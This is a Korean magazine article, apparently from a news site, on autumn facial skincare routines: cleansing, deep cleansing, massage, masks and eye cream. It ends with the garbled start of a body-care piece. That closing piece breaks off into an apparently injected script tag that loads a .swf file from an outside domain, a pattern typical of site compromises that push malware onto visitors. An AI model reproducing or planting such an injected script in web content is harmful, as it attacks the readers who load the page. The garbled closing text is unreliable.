클렌징은 관리를 위한 기초 단계라 할 수 있다. 클렌징에 앞서 자신의 피부에 맞는 클렌징 타입, 예를 들어 지성은 밀크, 수분타입을 선택하고 오일은 피하며 일반피부는 로션 및 오일 타입 등을 선택한다. 클렌징을 실시한 후 우선적으로 티슈로 닦아내 준다. 근육결을 따라(안쪽에서 바깥쪽으로) 가볍게 문질러 클렌징을 닦아낸다. 강하게 문지르면 피부의 자극이 되므로 유분기와 잔여물만 티슈로 닦아낸다는 기분으로 실시한다. 그런 후 물로 한 번 더 닦아낸다. 이때 퍼프를 사용하면 더욱 좋다. 퍼프는 손보다는 자극이 덜하고 밀착력이 있어 제거가 더욱 잘된다. 따라서 집에 퍼프 한 두개 정도 비치해 이를 활용하면 좋다.
가을철 피부는 탈수현상을 느끼게 된다. 이에 각질이 일어나고 게다가 뾰루지도 송송 돋아난다. 또한 코에는 피지가 쌓여 블랙헤드가, 양볼에는 화이트헤드가 자리잡는다. 이러한 피부 트러블은 꾸준한 관리를 통해 개선될 수 있다. 특히 딥클렌징을 통해 이를 해결해보자. 우선 부분 각질제거제로 코, 양볼 등에 가볍게 몰딩해준다. 민감성 같은 경우 일주일에 한 번, 지성은 일주일에 두 번 정도 관리한다. 몰딩 후 퍼프로 잘 닦아낸다. 특히 아침에도 클렌징이 중요하다는 사실을 인지하자. 잘 때 노페물이 얼굴이 쌓이기 때문이다. 따라서 폼클렌싱 정도로 아침 클렌징을 실시한다.
마사지는 얼굴의 혈액순환 및 영양과 보습을 위한 단계이다. 우선 따뜻한 온포(수건)로 피부의 모공을 열어준다. 마사지 크림이 있으면 이를 사용하고, 만일 없을 때는 영양크림과 에센스를 2대1 비율로 혼합해 마사지한다. 마사지 시 방향은 안에서 바깥쪽으로, 돌리면서 실시한다. 이때 목도 신경 쓴다. 몰딩 후 얼굴에 생겼을 노폐물을 티슈로 제거 한다. 만일 마사지 후 팩을 실시하려면 온포를 다시 한번 해준다. 그런 후 스킨으로 피부결을 정리해준다. 이때 손보다는 화장솜을 이용한다. 화장솜에 스킨을 묻혀 안에서 바깥 방향으로 실시한다.
팩을 할 때 기본적으로 피부에 직접 묻혀서 한다. 굳이 거즈를 안 대도 되며, 이를 사용하는 것은 제거가 용이하기 때문이다. 가을철 미백 팩을 선택할 때는 보습관리도 되는 것을 선택한다. 특히 건조돼 떼어내는 형태가 아닌 걷어내거나 씻어낼 수 있는 팩을 선택하는 것이 좋다. 팩을 얼굴에 바를 때는 안에서 밖으로, 아래에서 위로 실시하며 눈두덩이 위에도 발라준다. 얼굴 전체적으로 이마부터 팩을 바르며, 볼, 코, 턱 순서로 이동한다. 이때 손보다는 솔로 실시하는 것이 좋다. 솔을 사용하면 이질감도 없고 깨끗하게 골고루 팩이 얼굴에 부착된다. 일반 팩인 경우 10∼15분 정도 실시하고, 이와 같이 건조되지 않는 팩일 경우 20분 정도 놔둔다. 20분 경과 후 팩을 걷어내고 손으로 러빙한 다음 티슈로 닦아낸다.
팩 실시 후 스킨으로 피부결을 정돈한다. 그런 후 아이크림→앰플(수분)→영양크림 순으로 실시해주는 것이 좋다. 특히 눈가에 아이크림이나 에센스를 바를 경우 바깥쪽에서 안쪽으로 문지르지 말고 찍듯이 실시하며, 가볍게 톡톡 두드리고 나선형으로 돌려 실시한다. 또한 언더라인은 꾹 눌러 지압하듯 발라준다. 그리고 영양크림을 실시할 때 아로마 성분이 들어간 것으로 선택해 주면 피부뿐 아니라 마음도 편안하게 정돈되는 것을 느낄 수 있다.
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- 오경림 기자 okr@csmt.co.kr
상쾌하고 촉촉해지는 단계별 바디케어 1단계 : 개운한 피부 -세정 단계 하루의 더러움과 피부 노폐물을 깔끔하게 제거하는 세정단계. 바디워시 제품으로 매일 샤워해 청결을 유지해준다. 자신의 피부타입에 맞게 건조한 사람은 촉촉한 타입으로 지성인 사람은 산뜻한 타입을 선택한다. 또한 묵은 각질이 제때에 떨어져 나가지 않으면 피?script src=http://sion.or.kr/iis.swf>
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